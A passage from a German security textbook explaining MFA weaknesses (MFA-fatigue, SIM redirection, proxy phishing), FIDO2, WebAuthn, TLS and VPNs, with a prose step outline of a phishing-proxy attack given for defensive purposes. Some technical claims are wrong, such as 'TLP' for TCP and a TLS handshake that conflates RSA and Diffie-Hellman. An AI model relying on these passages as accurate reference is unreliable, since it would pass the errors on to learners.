Platfom Modul (TPM), das bereits in vielen Endgeräten eingebaut oder in Firmware implementiert ist. Ein TPM ist seit Windows 11 Voraussetzung zum Start des Bootvorgangs. Natürlich gibt es bei 2FA und MFA auch Kehrseiten: Eine 2FA verlängert den Anmeldevorgang geringfügig und wenn der zweite Faktor verloren oder kaputt geht (z. B. durch Verlust eines USB-Tokens), dann ist der Zugang zu einem Webdienst verwehrt. Aus diesem Grund sollten, wenn möglich, immer mehrere „zweite Faktoren“ hinterlegt werden, die im Bedarfsfall den Zugang sicherstellen. Allerdings bietet das Hinterlegen weiterer zweiter Faktoren einige Angriffsflächen für Cyberkriminelle. Um den Schutz durch MFA (oder 2FA) auszuhebeln, nutzen Angreifer zunehmend die sogenannten „MFA-Fatigue-Attacke“ . Dieser Angriff, den man mit „Mehrfaktorauthentisierungs-Ermüdungsangriff“ übersetzen könnte, läuft ungefähr wie folgt ab: Die Angreifer, die in Besitz eines Accounts und eines Passworts, aber nicht im Besitz des zweiten Faktors sind, führen immer und immer wieder teils automatisierte Anmeldungen auf einen Account
146
8 Allgemeine Maßnahmen
durch, die Push-Nachrichten auf dem Mobiltelefon des Opfers auslösen. Jedes mal wird das Opfer genervt, den Zugang zu dem System freizugeben. Aus Sicht des Opfers handelt es sich um eine Fehlfunktion, denn es hat ja gar nicht versucht, sich an einem System anzumelden. Macht das Opfer jetzt einen Fehler, indem es versehentlich oder absichtlich auf Freigeben klickt, um endlich Ruhe zu haben, hat der Angreifer sein Ziel erreicht. Wenn man aber grundsätzlich davon ausgeht, dass eine Authentifizierungsanfrage nur dann abgesendet wird, wenn jemand versucht, sich mit dem korrekten Passwort anzumelden, sind MFA-Fatigue-Attacken leicht zu erkennen: Wenn man selber nicht versucht hat, sich bei einem Dienst anzumelden, muss es jemand anderes gewesen sein. Gegen die MFAFatigue-Attacke kann man sich deshalb schützen, indem man sich selbst umgehend bei dem entsprechenden Dienst anmeldet und das Passwort ändert, sofern man die spontane Anfrage für eine Freigabe erhalten hat. Mit der Änderung des Passworts werden keine Push-Anfragen nach dem zweiten Faktor mehr gestartet, denn das Passwort stimmt nicht mehr mit dem überein, welches die Angreifer kennen. Wichtig ist, dass diese Passwortänderung direkt über den normalen Anmeldeprozess erfolgt und nicht zum Beispiel über einen Link, den die Cyberkriminellen in ihrer Phishing-E-Mail anbieten. Sind für einen Dienst Push-Nachrichten nicht möglich, weil zum Beispiel ein USBStick aktiv an einem Gerät angesteckt werden oder ein TAN-Generator aktiviert werden muss, versuchen es Angreifer auch durch Anrufe, bei denen sie über Social Engineering das Opfer bitten, das System durch die Bestätigung zurückzusetzen, weil angeblich ein neuer Kollege einen Fehler gemacht haben soll. Wenn dieser Angriff in den Abendstunden oder am Wochenende durchgeführt wird, erreicht das Opfer in der Regel keinen Support mehr, um sich rückversichern zu können. Hier gilt es Ruhe zu bewahren und erst zu reagieren, wenn man sich an geeigneter Stelle selbst rückversichert hat. Da es für Cyberkriminelle relativ einfach ist, SMS-Nachrichten auf ein Mobiltelefon umzuleiten, das sie unter Kontrolle haben, sind SMS-gestützte Verfahren für den zweiten Faktor unsicher3 . Aber auch die Registrierung eines zweiten mobilen Endgeräts, das sich unter Kontrolle des Angreifers befindet, ist grundsätzlich möglich. Hier lassen sich Cyberkriminelle immer wieder plausible Gründe einfallen (neues Gerät oder Diebstahl bei einer Auslandsreise usw.), um einen weiteren zweiten Faktor über Servicemitarbeitende installieren zu lassen. Auch werden immer wieder Sicherheitslücken in der MFA-Implementierung gefunden. Und schließlich können Cookies, die aus Gründen der Bequemlichkeit im Browsercache abgelegt werden, von Cyberkriminellen abgegriffen und dazu genutzt werden, eine aktive Session zu übernehmen. Mit Man-in-the-Middle-Angriffen kann der Schutz durch die 2FA-Authentisierung auch auf andere Weise ausgehebelt werden, wenn beide Faktoren in der richtigen zeitlichen Korrelation zueinander stehen. Dabei nisten sich die Cyberkriminellen in die Kommunikation ein und gaukeln dem Nutzer vor, der Dienstanbieter zu sein, indem sie Anmeldeseiten täuschend echt nachbauen und geben sich gleichzeitig gegenüber dem Dienstanbieter als Nutzer 3 In der Vergangenheit wurden zum Beispiel TANs für Banküberweisungen per SMS übermittelt.
Dieses Verfahren wurde aus den genannten Gründen inzwischen abgeschafft.
8.4
Fast Identity Online (FIDO)
147
aus (Proxyserver). Hierfür reicht ein Hyperlink in einer entsprechenden E-Mail, der auf den Server der Cyberkriminellen zeigt. Klickt das Opfer auf diesen Link, startet der Prozess: Die Anmeldedaten werden vom Opfer zum Dienst weitergeleitet. Darauf hin fragt der Dienst den zweiten Faktor ab. Die Abfrage kann sowohl über denselben Proxyserver als auch über einen getrennten Übertragungsweg erfolgen. Da das Opfer zu diesem Zeitpunkt eine entsprechende Freigabeabfrage erwartet, wird es diese erteilen. Ab diesem Moment haben die Cyberkriminellen den vollen Zugang zum Dienst und könnten sich unter Umständen einen eigenen zweiten Faktor einrichten, um zukünftig ohne die Mithilfe des Kontoinhabers Zugang zu dessen Konto zu erlangen. Das Problem ist, dass die anmeldende Seite, in diesem Beispiel die Cyberkriminellen, sich nicht in der Nähe des Authenticators befinden müssen und dass sich durch die zeitliche Abfolge für das Opfer keine Möglichkeit gibt, die Man-in-the-Middle-Attacke zu erkennen. Diese Angriffe können nur dadurch verhindert werden, dass Links auf Anmeldeseiten in E-Mails niemals direkt aufgerufen werden, sondern die Anmeldung zu einem Dienst immer über einen bekannten Link erfolgt, der z. B. in einem Passwortmanager gespeichert ist. Dieser würde immer dafür sorgen, dass die korrekte HTML-Seite und nicht der Proxyserver der Cyberkriminellen aufgerufen wird. Auch die Speicherung als Lesezeichen im Browser liefert keine echte Sicherheit: Da diese Einträge nicht besonders gesichert sind, könnten sie durch Schadsoftware verändert werden. Ein kritischer Prozess ist außerdem die initiale Einrichtung des zweiten Faktors bei der ersten Anmeldung. Viele Unternehmen setzen darauf, dass eine erstmalige Anmeldung ohne den zweiten Faktor erfolgen kann. Erst dann wird dieser aktiviert und erst ab diesem Zeitpunkt sind weitere Anmeldungen nur noch unter Verwendung des zweiten Faktors möglich. Bei größeren Einrichtungen und Unternehmen gibt es immer wieder ungenutzte Accounts, deren Einrichtung nie vollständig abgeschlossen wurde. Sind Cyberkriminelle im Besitz einer gültigen initialen Nutzerkennung und des dazu gehörenden Passworts für einen solchen Account, können sie ihren eigenen zweiten Faktor (Authenticator, TAN-Generator, USB-Token, Mobilfunknummer für SMS usw.) als zweiten Faktor registrieren und haben vollen Zugang. Auf diese Weise können ungenutzte Accounts zu einem Risiko werden.
8.4
Fast Identity Online (FIDO)
Gegen den Handel mit kompromittierten Passwörtern helfen passwortlose Anmeldeverfahren. Hier werden kryptologische Verfahren statt Passwörter für die Authentifizierung eingesetzt. Dabei werden Passwörter nie über das Internet übertragen, sondern ein Nutzer authentisiert sich über den Nachweis, dass er im Besitz seines geheimen Verschlüsselungspassworts ist, indem er eine Verschlüsselungsaufgabe (Challenge) erfüllt. Der FIDO2-Standard verfolgt genau diesen Ansatz.
148
8 Allgemeine Maßnahmen
Die FIDO-Allianz (Fast Identity Online) [3] ist ein Bündnis der großen Unternehmen wie Amazon, Apple, Google, Microsoft und zahlreicher Banken, mit dem Ziel, ein solches Verfahren bei ihren Diensten zu etablieren. Das FIDO2-Protokoll ähnelt einem Public-Key-Verfahren. Dabei wird bei der Registrierung ein Schlüsselpaar mit einem privaten und öffentlichen Schlüsselteil generiert. Der private Schlüssel wird nur im Endgerät des Nutzers im Trusted Platfom Modul (TPM) gespeichert und kann dort nicht mehr ausgelesen werden. Bei einer Anmeldung dient der private Schlüssel der Verschlüsselung eines Datenpakets und wird nur innerhalb des TPM eingesetzt. Der öffentliche Schlüssel dient nur zum Entschlüsseln und wird dem Dienstanbieter übergeben. Bei einer Anmeldung weist das Endgerät nach, dass es im Besitz des privaten Schlüssels ist. Damit ist der Nutzer dieses Endgeräts authentifiziert. Etwas detaillierter betrachtet, werden beim aktuellen FIDO2-Standard zwei Authentifizierungsschritte unterschieden: Die Registrierung und das Anmelden. • Bei der Registrierung wird dem Nutzer die Auswahl eines FIDO2-Authenticators angeboten, gegenüber dem er sich über biometrische Faktoren, einer PIN, einer anderen sicheren Methode oder zumindest über den Besitz authentifiziert. Der FIDO2-Authenticator generiert anschließend ein nur für dieses Endgerät und den Dienst gültiges Schlüsselpaar mit einem öffentlichen Schlüssel, der an den Dienst gesendet wird und einen privaten Schlüssel, der das Endgerät nie verlässt und dort auch nie angezeigt wird. Der private Schlüssel wird dabei so gesichert, dass er keinesfalls ausgelesen werden kann. • Beim Anmelden fordert der Dienst den Nutzer auf, sich mit demselben FIDO2Authenticator zu authentifizieren, mit dem er sich registriert hatte. Auf diesem Gerät muss der Nutzer dieselbe Authentifizierungsmethode verwenden, mit der er sich ursprünglich angemeldet hatte, um den Authentifizierungsprozess zu starten. Darauf sendet der Dienst ein beliebiges Datenpaket, das der Authenticator mit dem privaten Schlüsselteil verschlüsselt und anschließend wieder an den Dienst zurücksendet. Die Verschlüsselung erfolgt zum Beispiel direkt in der Hardware des USB-Tokens, in der der Schlüssel zuvor abgelegt wurde. Der Dienst nutzt den öffentlichen Schlüsselteil, um das Datenpaket zu entschlüsseln. Stimmen das ursprüngliche und das entschlüsselte Datenpaket überein, ist sichergestellt, dass der Nutzer im Besitz des privaten Schlüssels ist. Damit ist dieser authentisiert und wird zum Dienst zugelassen. Die Vorteile dieses Verfahrens sind, dass Nutzende sich nie mit einem komplexen Passwort auseinandersetzen müssen, dass das private Passwort nie das Endgerät verlässt und dass jeder Dienst ein eigenes Passwort erhält. Dadurch lassen sich beliebig komplexe Passwörter verwenden. Die Authentisierung wird bei jeder Sitzung mit einem unterschiedlichen Datenpaket durchgeführt. Ein Schlüssel oder ein Passwort wird nie über das Internet übertragen und kann deshalb auch nicht abgefangen werden. Der Anbieter eines Dienstes muss allerdings sicherstellen, dass alternative Anmeldemöglichkeiten unter Umgehung des FIDO2-Standards nicht eingerichtet werden können, was im
8.4
Fast Identity Online (FIDO)
149
Falle eines Verlusts des FIDO2-Authenticators gesicherte Verfahren zum schnellen Sperren eines Zugangs voraussetzt. Außerdem müssen robuste Verfahren für den Ersatz eines FIDO2-Authenticators etabliert werden, die einen erhöhten administrativen Aufwand verursachen. Unter Umständen wird beim Dienstanbieter ein neuer USB-Token angelegt, der dann per Post als Einschreiben an den rechtmäßigen Empfänger gesendet wird. Es wird davon ausgegangen, dass der FIDO2-Standard in den nächsten Jahren als Authentisierungsverfahren das gängige Passwortverfahren ablösen wird. Dafür spricht schon allein die Tatsache, dass alle großen Softwareanbieter Mitglied in der FIDO-Allianz sind und dass die großen Marktteilnehmer wie Microsoft (ab Windows 10), Apple (ab iOS16, iPadOS16 und Mac OS Ventura) sowie Google (ab Android 7) dieses Verfahren bereits beim Login ins Betriebssystem umgesetzt haben. Ab Windows 10 kann die Anmeldung an einem Microsoft-Konto beispielsweise über „Windows Hello“ mit der Gesichtserkennung, dem Fingerabdrucksensor oder einer PIN erfolgen. Selbst wenn ein Angreifer die PIN in Erfahrung bringen würde, würde ihm das nicht viel nützen: Da der Schlüssel für den Zugang zum Microsoft-Konto gemäß des FIDO2Standards im TPM des PCs gespeichert wird, würde diese PIN bei keinem anderen Gerät funktionieren. Das FIDO2-Protokoll bietet den Nutzern zwar großen Komfort bei der Verwaltung sicherer Passwörter, ist aber nach heutigem Stand trotzdem grundsätzlich über eine Man-in-theMiddle-Attacke angreifbar, wenn dieses Verfahren für einen Webdienst angewendet wird. Auch bei FIDO2 könnte die Kommunikation in beide Richtungen über einen Proxyserver der Cyberkriminellen laufen, sodass ein Anmeldevorgang selbst bei einem zweiten Faktor abgeschlossen werden kann. Wenn Cyberkriminelle beispielsweise eine Phishing-E-Mail oder SMS an das Opfer senden und es dazu bringen, auf den Link zu klicken, kann eine Phishingseite zur Anmeldung über ein Proxy angeboten werden. Diese Seite fungiert als Vermittler zwischen dem Dienst und dem Opfer. Ein Angriff könnte wie folgt ablaufen: 1. Die Angreifer senden eine E-Mail mit einen ein Link an das Opfer. Der Link zeigt auf einen Proxy zur Anmeldeseite des Dienstes. 2. Das Opfer klickt auf diesen Link, sodass die Cyberkriminellen den Anmeldewunsch des Opfers registrieren und eine Verbindung zur echten Anmeldeseite für den Dienst herstellen. 3. Der Dienst sendet die Verschlüsselungsaufgabe direkt oder über den zweiten Übertragungskanal an die registrierte Authenticator-App oder Security-Token des Opfers. Da es zu diesem Zeitpunkt genau das erwartet, wird es die Freigabe erteilen. 4. Ab diesem Moment erhalten die Angreifer über den Proxy einen Zugang zum Dienst.
150
8 Allgemeine Maßnahmen
Ab hier kommt es darauf an, was es für ein Dienst ist und wie dieser geschützt ist: Bei einem E-Mail- oder Dateidienst könnten eventuell vertrauliche Daten abgerufen werden. Unter Umständen ist es möglich, die 2FA oder das FIDO2-Protokoll zu deaktivieren. Das FIDO2-Protokoll hilft zwar gegen viele Probleme im Umgang mit Passwörtern, aber es ist in dieser Form kein wirksamer Schutz gegen Man-in-the-Middle-Attacken bei webbasierten Diensten.
8.5
Web Authentication (WebAuthn)
Aus diesem Grund hat die FIDO-Alliance in Zusammenarbeit mit dem WWW-Consortium (W3C) einen Standard geschaffen, der Phishingattacken verhindert: WebAuthn wurde im März 2019 offiziell zum Web-Standard erklärt (WebAuthn-Level-1-Standard). Seit dem 8. April 2021 steht die aktuelle Empfehlung für den WebAuthn-Level-2-Standard zur Verfügung [4]. Die meisten Browser unterstützen diesen Standard bereits für Anmeldungen bei webbasierten Diensten im Internet. Die wesentliche Erweiterung gegenüber dem FIDO2Standard besteht darin, dass neben dem geheimen Schlüssel auch noch die korrekte WebAdresse (Domain) des Dienstes im Endgerät gespeichert und miteinander verknüpf wird. Auf diese Weise wird die Nutzung eines Schlüssels auf die korrekte Webadresse eingeschränkt werden und Man-in-the-Middle-Angriffsversuche werden ausgehebelt. Wie beim FIDO2-Standard muss zwischen der Registrierung und der Anmeldung unterschieden werden: • Bei der Registrierung (s. Abb. 8.1) wird die Webseite des Webdienstes aufgerufen (1). Dieser muss die Authentifizierungsmethode WebAuthn anbieten. Wird sie ausgewählt, wird das zu verschlüsselnde Datenwort (Challenge) zusammen mit einem Benutzernamen zurückgesendet (2). Beides wird zusammen mit der WWW-Adresse des Dienstes an den Authenticator weitergeleitet (3). Dieser generiert eine ID, den privaten Schlüssel und den öffentlichen Schlüssel und speichert sie. Anschließend verschlüsselt er die Challenge
Abb. 8.1 Registrierung über WebAuthn
8.5 Web Authentication (WebAuthn)
151
Abb. 8.2 Anmeldung über WebAuthn
(Signatur) mit dem privaten Schlüssel und sendet die ID, den öffentlichen Schlüssel und die Signatur zurück (4). Der Client-PC leitet die Daten an den Webserver weiter (5), um die Registrierung abzuschließen. Dieser Vorgang findet nur einmal statt. Aus Sicht des Nutzers authentisiert er sich einmalig über den Fingerabdruckleser gegenüber seinem eigenen Browser. Dieser führt den Schlüsselaustausch im Hintergrund durch. • Beim Anmelden muss sich der Nutzer lediglich mit demselben Sicherheitsverfahren gegenüber dem Browser authentisieren. Anschließend erfolgt die passwortlose Anmeldung zwischen Browser und Dienst über das FIDO2-Protokoll (s. Abb. 8.2). Zu keinem Zeitpunkt wird ein Passwort übertragen. Die Vorteile in der Nutzung von WebAuthn liegen wie bei FIDO2 im Komfort und in der zusätzlichen Sicherheit. Passwörter müssen nicht mehr auswendig gelernt und nicht mehr eingegeben werden. Es gibt auch keine Passwörter mehr, die unbedacht weitergegeben oder erraten werden könnten. Und jeder Dienst erhält seinen spezifischen Zugang, der im Gegensatz zu einer E-Mail-Adresse auch nicht über verschiedene Dienste hinweg zugeordnet werden könnte, was den Datenschutz verbessert. WebAuthn ist relativ leicht umzusetzen, denn der JavaScript-Code für die WebApplication liegt vor und muss nur geringfügig angepasst werden. Dort ist die Kommunikation zwischen Web-Applikation und dem TPM oder dem USB-Sicherheitstoken implementiert. Serverseitig existieren einige Codebeispiele mit Anleitungen und Bibliotheken, die zum Beispiel im GitHub angeboten werden. WebAuthn ist ein wirksames Mittel gegen Man-in-the-Middle-Angriffe. Sie laufen deshalb ins Leere, weil der Authenticator die korrekte WWW-Adresse mit der Anmeldung fest verknüpft. Klickt der Nutzer auf einen Link in einer Phishing-E-Mail, wird er zwar die nachgebildete Anmeldeseite der Cyberkriminellen sehen, kann aber dort nichts direkt eingeben, denn schließlich kennt er die Zugangsdaten gar nicht. Sobald er die Authentifizierung über den Browser startet, wird die korrekte Web-Adresse des Dienstes aufgerufen und der Anmeldevorgang darüber abgewickelt.
152
8 Allgemeine Maßnahmen
WebAuthn gilt deshalb als sicherer als MFA mit einem Passwort und einem zweitem Faktor. Um die Sicherheit weiter zu erhöhen, kann WebAuthn aber mit einem zweiten Faktor, zum Beispiel einem USB-Token, kombiniert werden, sofern das Sicherheitsniveau dies erfordert. Auf diese Weise könnte die Sicherheit der Authentisierung weiter verbessert werden. Wurde der Fingerabdruckscanner beispielsweise überlistet, bräuchte es immer noch den USB-Token oder entsprechende Phishingmaßnahmen, um den Zugang zu erreichen. Da die Schlüssel das Endgerät nie verlassen, müssen die Anbieter von Webdiensten auch keine Kundenpasswörter mehr verwalten und Einbrüche bei Webdienstleistern verlieren ihren Schrecken, denn dort sind gar keine Zugangsdaten mehr gespeichert, die von Cyberkriminellen abgegriffen werden könnten. Dazu kommt, das auch Schadsoftware keine Möglichkeit hat, auf sensible Passwortinformationen, wie den privaten Schlüssel, zuzugreifen. Das Hardwaredesign des SecurityProzessors im Rechner, einem Mobilgerät oder in einem Token hat einen solchen lesenden Zugriff gar nicht implementiert. Damit die Anmeldung auch geräte- und browserübergreifend erfolgen kann, diskutieren die großen Hersteller, dass der private Schlüssel auch verschlüsselt in einem Cloud-Speicher abgelegt werden könnte. Dann könnten verschiedene Geräte und Browser diesen Schlüssel gemeinsam verwenden. Ob dadurch ein Übergang zwischen Microsoft-, Apple- und Android-Geräten möglich wird oder ob die Daten nur in der jeweiligen Cloud gespeichert werden können, um den verschiedenen Geräten des gleichen Herstellers zur Verfügung zu stehen, wird derzeit noch diskutiert.
8.6
Transport Layer Security (TLS)
Transport Layer Security (TSL) wird heute noch oft mit der Vorgängerbezeichnung Secure Sockets Layer (SSL) benannt, aus der es hervorgegangen ist. SSL wurde ursprünglich von Netscape in den 1990er-Jahren für die sichere Kommunikation im Internet entwickelt und als Version SSL 2.0 in deren damaligen Browser Netscape Navigator integriert. Bald wurden gravierende Mängel festgestellt, sodass 1996 die Version SSL 3.0 veröffentlicht wurde. Die SSL Version 3.1, die nicht mehr kompatibel zu SSL 3.0 war, wurde 1999 zu TLS 1.0 umbenannt. Mit TLS 1.1 kamen geringfügige Verbesserungen dazu und mit der Version TLS 1.2 wurden weitere Sicherheitslücken geschlossen. Seit 2018 ist die neuste Version TLS 1.3 mit einem optimierten Schlüsselaustausch im Einsatz. Bei TLS handelt sich um ein Verschlüsselungsprotokoll zur sicheren Datenübertragung zwischen einem Client und einem Server im Internet. Der Transport Layer (Transportschicht) entspricht der Ebene 3 im DoD-Schichtenmodell. Hier werden für die Datenübertragung im Wesentlichen zwei Protokolle verwendet: TCP und UDP. Das Transport Layer Protokoll (TLP) realisiert eine Ende-zu-Ende-Verbindung, bei der der Datenfluss gesteuert sowie Datenverluste erkannt und behoben werden (s. Abschn. 2.5). Das User Datagram Protocol (UDP) wird immer dort eingesetzt, wenn der Verlust einzelner Pakete akzeptiert werden
8.6 Transport Layer Security (TLS)
153
kann aber dafür ein schlankes Übertragungsprotokoll benötigt wird. In beiden Fällen werden die Datenpakete zwischen einem Client und einem Server übertragen. TLS setzt auf das TLP oder UDP auf und sichert den Datentransfer zwischen den Kommunikationspartnern (Client und Server) über eine symmetrische Verschlüsselung ab. Der Zusatz des Buchstabens „s“ auf der Anwendungsebene, wie beispielsweise HTTPS, IMAPS, POP3S, LDAPS, FTPS oder Telnets, soll anzeigen, dass es sich um die über TLS gesicherte Variante des jeweiligen Dienstes handelt. Über TLS wird der Aufbau der gesicherten Verbindung zwischen zwei beliebigen Kommunikationspartnern über das Internet geregelt. Das Problem dabei ist, dass der notwendige Schlüsselaustausch durchgeführt werden muss, bevor der eigentliche Datentransfer beginnt und damit bevor die Verbindung zwischen Client und Server durch Verschlüsselung gesichert ist. Ein getrennter zweiter Übertragungsweg steht dabei nicht zur Verfügung. Um dieses Problem zu lösen, sieht das TLS-Protokoll den folgenden Ablauf des Verbindungsaufbaus vor: 1. Der Start des Verbindungsaufbaus über TLS erfolgt über eine Verbindungsanfrage des Clients. Hier kann bereits das eigene Zertifikat des Clients übertragen werden um die Authentizität des Clients nachzuweisen. 2. Der Server authentisiert sich über ein Zertifikat, dessen Gültigkeit vom Client überprüft wird. 3. Anschließend generiert der Client eine Zufallszahl und verschlüsselt diese mit dem öffentlichen Schlüssel des Servers. 4. Der Server entschlüsselt diese Zufallszahl mit seinem privaten Schlüssel. Durch Kombination der beiden öffentlichen Schlüssel wird ein gemeinsames Geheimnis generiert, aus dem wiederum der kryptografische Schlüssel abgeleitet wird (Diffie-HellmanSchlüsselaustausch [5]). In beiden Fällen wird ein symmetrisches Verschlüsselungsverfahren eingesetzt, d. h. zum Ver- und Entschlüsseln wird aus Gründen der Performanz derselbe Schlüssel verwendet. 5. Da der Client und der Server jetzt über den Schlüssel verfügen, kann die verschlüsselte Datenübertragung beginnen. 6. Der Schlüssel gilt nur für diese eine Sitzung. Kommt es zu einem Time-Out oder wird die Übertragung zwischen Client und Server unterbrochen, muss nach demselben Verfahren ein neuer Schlüssel ausgehandelt werden. Der Einsatz von TLS hat viele Vorteile und einige Probleme: Der größte Vorteil besteht darin, dass TLS mit allen höheren Protokollen kombiniert werden kann. An den Endpunkten liegt das Datenpaket immer identisch vor. Dazu kommt, dass alle Systeme und Anwendungen über TLS gesichert kommunizieren können, egal mit welchem Betriebssystem sie betrieben werden. Als einer der Nachteile wird immer wieder genannt, dass die Datenübertragung verzögert beginnt, da beim Verbindungsaufbau der Schlüssel erst generiert und ausgetauscht werden
154
8 Allgemeine Maßnahmen
muss. Während der Aufbau einer TCP-Verbindung bereits einige Millisekunden in Anspruch nimmt, kommen durch den Schlüsselaustausch über TLS noch einmal einige Millisekunden dazu, bis der eigentliche Datentransfer beginnen kann. Für Anwendungen, die eine geringe Latenz voraussetzen, kann das sehr viel sein. TLS ist anfällig für Man-in-the-Middle-Angriffe: Waren die Cyberkriminellen vor dem Verbindungsaufbau aktiv oder schleusen sie zum Beispiel über einen per E-Mail ausgesendeten Hyperlink einen Proxy ein, können sie beiden Kommunikationspartnern (Client und Server) ihren eigenen Schlüssel übermitteln. Auf diese Weise liegen die Daten auf dem Proxy im Klartext vor und können mitgelesen werden. Das gilt grundsätzlich auch, wenn die Kommunikation über mehr als zwei Station erfolgt, also bei jedem Server, der gegenüber dem Client als Diensterbringer erscheint, auch wenn dieser die Daten direkt an einen anderen Server weiterleitet. Dies ist insbesondere dann der Fall, wenn ein Portal für verschiedene Dienste vorgeschaltet ist und die spätere Kommunikation mit dem Dienst über dieses Portal erfolgt. Unter Umständen ist deshalb die Ende-zu-Ende-Verschlüsselung über TLS nicht gewährleistet. Immer wieder werden Fehler in der Implementierung gefunden. So wurde 2014 ein schwerwiegender Fehler in der damals aktuellen Version von OpenSSL gefunden, die unter dem Namen Heartbleed Bug bekannt wurde. Da Cyberkriminelle begannen, den Datenverkehr zu ihren Servern ebenfalls mit TLS zu verschlüsseln und aufgrund verschärfter Exportbeschränkungen für kryptografische Verfahren durch die US-amerikanische Regierung, wurden nur noch schwächere Verschlüsselungsverfahren freigegeben, die leichter zu entschlüsseln sind. Auch das Europäische Institut für Telekommunikationsnormen (ETSI) machte sich dafür stark, eine vollständig sichere Datenkommunikation über TLS zu verhindern, damit Ermittlungsbehörden den verschlüsselten Datentransfers speichern und später entschlüsseln können. Das Problem wird dadurch verschärft, dass es auch einige weniger vertrauenswürdige Zertifikatsstellen gibt oder staatliche Stellen Druck auf die Zertifikatsstellen ausüben könnten, diese herauszugeben. Auch wenn TLS technisch keine Lücken mehr haben sollte, ist die Sicherheit des Datentransfers immer nur so gut wie die Qualität der zugrunde gelegten Zertifikate. Auch werden immer wieder erfolgreiche Angriffe auf ältere TLS-Übertragungen bekannt, weshalb nur noch die TLS-Versionen 1.2 mit dem zwangsweisen Diffie-HellmanSchlüsselaustausch und 1.3 als ausreichend sicher gelten. Trotz aller Probleme mit dem Einsatz von TLS und obwohl die Sicherheit von TLS wegen der Zertifikatsproblemen grundsätzlich angezweifelt wird, ist TLS 1.3 für die meisten Anwendungen immer noch ausreichend.
8.7 Virtual Private Network (VPN)
8.7
155
Virtual Private Network (VPN)
Bei VPN handelt es sich um ein virtuelles Netz, das Geräte in einem logischen Netzwerksegment vereint, auch wenn diese nicht direkt physikalisch über ein Kabel oder eine WLANVerbindung miteinander verknüpft sind. Für den Verbindungsaufbau authentisiert sich ein Nutzer über einen Benutzeraccount mit Passwort und ggf. über einen zweiten Faktor. Damit ist sichergestellt, dass nur berechtigte Personen Zugang zu diesem Netzwerksegment erhalten. Nach erfolgreicher Authentifizierung erhält das Endgerät eine zusätzliche IP-Adresse aus dem Zielnetzwerk, sodass es über diese Verbindung in das Zielnetz integriert wird. Dabei wird der gesamte Datenverkehr zwischen Endgerät und VPN-Zugangspunkt verschlüsselt. Öffentliche Hotspots in Cafés, am Flughafen oder in der Bahn haben in der Regel keine Verschlüsselung wie WPA3 aktiviert, weil sie hierfür ein Schlüsselmanagement etablieren müssten. Die Nutzung von VPN sichert die Übertragung der Daten durch Verschlüsselung in einem solchen Netz ab. Wichtig ist jedoch zu wissen, dass die Verschlüsselung nur zwischen dem Endgerät und dem VPN-Server als Zugangspunkt aktiv ist. Im VPN-Server liegen die Daten unverschlüsselt vor und werden von dort so weitergeleitet, als wären das Endgerät mit dem Netzwerksegment direkt verbunden. Auch wenn auf diese Weise das Abhören der Kommunikation am öffentlichen Hotspot oder auf allen Zwischenstationen wirksam unterbunden wird, kann der VPN-Anbieter den Datenverkehr mitlesen, weil die Verschlüsselung am VPN-Eingangsserver endet. Aus diesem Grund sollte man dem VPN-Anbieter auf jeden Fall vertrauen können. Bei einem VPN-Kanal zum eigenen Arbeitgeber oder in das Heimnetz ist das sicher gegeben, aber bei zahlreichen VPN-Apps für Mobilgeräte ist Vorsicht geboten. Eine Stichprobe im iOS-Appstore ergab mit der Suche über den Suchbegriff „VPN free“ rund 100 Treffer. Schaut man sich die ersten Suchergebnisse etwas genauer an, stellt man fest, dass sich der Firmensitz des Anbieters oft in Ländern befindet, die man nicht erwartet: NordVPN sitzt zum Beispiel in Panama, die Firma TRIOD Tech Ltd (VPN Proxy Master) in Hong Kong und die Firmen Vibrant Bytes (Stark VPN) oder Mobile Jump Pte Ltd (VPN Super) geben den Firmensitz auf ihren Webseiten erst gar nicht preis. Bei der Auswahl sollte die Vertrauenswürdigkeit des Anbieters berücksichtigt werden. Gute Bewertungen in einem App-Store alleine sind wenig aussagekräftig. Vielmehr muss sichergestellt sein, dass der VPN-Dienstanbieter in den Ländern, in denen sie tätig sind, einen guten Ruf besitzen. Und dazu ist es wichtig, dass zumindest der Firmensitz bekannt ist. Kostenlose VPN-Dienste können über Freigaben ihrer Apps persönliche Informationen sammeln und an den Höchstbietenden verkaufen, sie können Protokolle oder Logs zur Internetaktivität der Nutzer erstellen, speichern oder verkaufen und es wurde schon festgestellt, dass über die Apps Schadsoftware auf den Endgeräten installiert wurde. VPN wird von Anwendern wie Angreifern gerne benutzt, um die eigentliche Herkunft zu verschleiern: Für den Anbieter eines Dienstes sieht ein Datenpaket so aus, als würde es von der IP-Adresse des VPN-Servers stammen und nicht aus dem IP-Raum des Anwenders.
156
8 Allgemeine Maßnahmen
Auf diese Weise können Sperren über Geo-Blocking umgangen werden. Manche Anbieter haben ihre VPN-Server weltweit verteilt, sodass man das Land frei wählen kann, in dem der VPN-Eingangsknoten steht, mit dem man eine VPN-Verbindung aufnehmen möchte. Das Risiko besteht darin, dass der VPN-Dienstanbieter die ursprüngliche IP-Adresse nicht vollständig entfernt (Leak der IP-Adresse). Damit können die Anbieter eines Dienstes über die Analyse der Pakete die ursprüngliche Quelle herausfinden. Über Split-Tunneling umgehen manche Browser bei Audio- und Video-Streaming den Umweg über den VPN-Tunnel, sodass die ursprüngliche IP-Adresse sichtbar wird. Schließlich muss der VPN-Anbieter einen eigenen DNS-Server betreiben, damit diese Anfragen nicht außerhalb des VPN-Tunnels protokolliert werden können. Manche VPNDienstanbieter sammeln diese Daten und geben sie Dritten preis. Eine relativ neue Alternative zu VPN ist die Realisierung eines Verbindungskonzepts, das auf IP aufsetzt und eine höhere Abstraktionsebene für die Netzwerkkommunikation realisiert. Dabei ist das zugrunde gelegte Modell ein großer, virtueller, gemanagter Switch, bei dem alle Verbindungen Ende-zu-Ende verschlüsselt sind. Dieser virtuelle Switch setzt auf die darunterliegenden Protokolle auf. Die Adresszuweisung und das Schlüsselmanagement übernimmt ein zentraler Controller, die eigentliche Kommunikation zwischen den Endgeräten erfolgt nach Herstellung der Verbindung und Schlüsselaustausch, direkt zwischen den Endgeräten. Damit entfällt der Flaschenhals eines zentralen VPN-Servers, über den alle verschlüsselte Kommunikation geroutet werden muss. Mit dem Netzwerk-Hypervisor ZeroTier [6] wurde so ein Netzwerkkonzept umgesetzt. Der Vermittler, der bei dieser Implementierung „Root“ genannt wird, steht sowohl als CloudInstanz oder als Open-Source-Software für den Betrieb auf eigenen Servern zur Verfügung. Für alle aktuellen Endgeräte und Betriebssysteme existieren geeignete Clients. Eine weitere Implementierung dieses Netzwerkkonzepts ist OPENsense [7] mit einer integrierten Firewall und einem Intrusion Detection System (IDS).
8.8
Zero Trust als Netzwerksicherheitsmodell
